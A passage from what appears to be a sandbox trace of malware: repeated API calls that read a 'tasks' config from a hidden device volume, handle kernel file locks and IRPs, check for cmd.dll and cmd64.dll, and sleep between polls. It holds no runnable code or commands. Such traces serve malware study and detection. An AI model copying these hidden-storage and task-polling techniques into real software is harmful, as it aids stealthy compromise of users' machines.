flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.083] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.083] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.083] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.083] KeEnterCriticalRegion () [0120.083] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.083] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.083] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.083] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.083] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.083] IdePortDispatch () returned 0x103 [0120.083] KeWaitForMutexObject () returned 0x0 [0120.083] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.083] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.083] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.083] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.083] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.083] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcd260 [0120.083] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.083] KeLeaveCriticalRegion () [0120.083] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.083] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.084] KeEnterCriticalRegion () [0120.084] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.084] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.084] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.084] KeLeaveCriticalRegion () [0120.084] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.084] KeEnterCriticalRegion () [0120.084] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.084] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.084] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.084] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.084] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.084] IdePortDispatch () returned 0x103 [0120.084] KeWaitForMutexObject () returned 0x0 [0120.084] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.084] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.084] KeLeaveCriticalRegion () [0120.084] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.084] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.084] KeEnterCriticalRegion () [0120.084] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.084] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c90000 [0120.084] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.084] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.084] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.084] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.084] IdePortDispatch () returned 0x103 [0120.084] KeWaitForMutexObject () returned 0x0 [0120.084] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.085] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.085] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.085] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.085] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.085] IdePortDispatch () returned 0x103 [0120.085] KeWaitForMutexObject () returned 0x0 [0120.085] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.085] KeLeaveCriticalRegion () [0120.085] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.085] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.085] KeEnterCriticalRegion () [0120.085] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.085] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.085] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.085] KeLeaveCriticalRegion () [0120.085] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.085] KeEnterCriticalRegion () [0120.085] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.085] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.085] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcd320, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.085] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.086] KeLeaveCriticalRegion () [0120.086] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.086] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.086] KeEnterCriticalRegion () [0120.086] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.086] ExFreePoolWithTag (P=0xfffffa8003bcd260, Tag=0x0) [0120.086] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.086] KeLeaveCriticalRegion () [0120.086] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.086] ReleaseMutex (hMutex=0xf0) returned 1 [0120.086] Sleep (dwMilliseconds=0x927c0) [0120.100] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.100] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.100] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.100] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.100] KeEnterCriticalRegion () [0120.100] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.100] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.100] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.100] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.100] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.100] IdePortDispatch () returned 0x103 [0120.100] KeWaitForMutexObject () returned 0x0 [0120.100] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.100] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.100] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.100] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.100] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.100] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc28a0 [0120.100] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.100] KeLeaveCriticalRegion () [0120.100] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.100] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.100] KeEnterCriticalRegion () [0120.100] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.100] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.100] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.100] KeLeaveCriticalRegion () [0120.100] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.100] KeEnterCriticalRegion () [0120.100] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.100] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.100] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.101] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.101] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.101] IdePortDispatch () returned 0x103 [0120.101] KeWaitForMutexObject () returned 0x0 [0120.101] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.101] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.101] KeLeaveCriticalRegion () [0120.101] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.101] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.101] KeEnterCriticalRegion () [0120.101] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.101] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002df4000 [0120.101] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.101] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.101] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.101] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.101] IdePortDispatch () returned 0x103 [0120.101] KeWaitForMutexObject () returned 0x0 [0120.101] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.101] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.101] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.101] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.101] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.101] IdePortDispatch () returned 0x103 [0120.101] KeWaitForMutexObject () returned 0x0 [0120.102] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.102] KeLeaveCriticalRegion () [0120.102] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.102] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.102] KeEnterCriticalRegion () [0120.102] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.102] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.102] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.102] KeLeaveCriticalRegion () [0120.102] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.102] KeEnterCriticalRegion () [0120.102] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.102] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.102] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc2500, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.102] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.102] KeLeaveCriticalRegion () [0120.102] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.102] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.102] KeEnterCriticalRegion () [0120.102] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.102] ExFreePoolWithTag (P=0xfffffa8003bc28a0, Tag=0x0) [0120.102] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.102] KeLeaveCriticalRegion () [0120.102] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.102] ReleaseMutex (hMutex=0xf0) returned 1 [0120.103] Sleep (dwMilliseconds=0x927c0) [0120.117] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.117] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.117] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.117] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.117] KeEnterCriticalRegion () [0120.117] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.117] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.117] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.117] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.117] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.117] IdePortDispatch () returned 0x103 [0120.117] KeWaitForMutexObject () returned 0x0 [0120.117] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.117] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.117] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.117] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.117] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.117] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc2650 [0120.117] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.117] KeLeaveCriticalRegion () [0120.117] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.117] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.117] KeEnterCriticalRegion () [0120.117] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.117] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.117] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.117] KeLeaveCriticalRegion () [0120.117] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.117] KeEnterCriticalRegion () [0120.117] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.118] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.118] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.118] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.118] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.118] IdePortDispatch () returned 0x103 [0120.118] KeWaitForMutexObject () returned 0x0 [0120.118] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.118] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.118] KeLeaveCriticalRegion () [0120.118] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.118] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.118] KeEnterCriticalRegion () [0120.118] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.118] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dfa000 [0120.118] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.118] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.118] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.118] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.118] IdePortDispatch () returned 0x103 [0120.118] KeWaitForMutexObject () returned 0x0 [0120.118] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.118] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.118] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.118] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.118] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.118] IdePortDispatch () returned 0x103 [0120.118] KeWaitForMutexObject () returned 0x0 [0120.119] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.119] KeLeaveCriticalRegion () [0120.119] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.119] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.119] KeEnterCriticalRegion () [0120.119] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.119] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.119] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.119] KeLeaveCriticalRegion () [0120.119] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.119] KeEnterCriticalRegion () [0120.119] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.119] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.119] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcd380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.119] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.119] KeLeaveCriticalRegion () [0120.119] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.119] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.119] KeEnterCriticalRegion () [0120.119] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.119] ExFreePoolWithTag (P=0xfffffa8003bc2650, Tag=0x0) [0120.119] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.119] KeLeaveCriticalRegion () [0120.119] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.120] ReleaseMutex (hMutex=0xf0) returned 1 [0120.120] Sleep (dwMilliseconds=0x927c0) [0120.134] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.134] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.134] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.134] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.134] KeEnterCriticalRegion () [0120.134] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.134] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.134] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.134] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.134] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.134] IdePortDispatch () returned 0x103 [0120.134] KeWaitForMutexObject () returned 0x0 [0120.134] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.134] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.134] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.134] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.134] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.135] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc20f0 [0120.135] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.135] KeLeaveCriticalRegion () [0120.135] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.135] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.135] KeEnterCriticalRegion () [0120.135] ExAcquireFastMutexUnsafe (in: 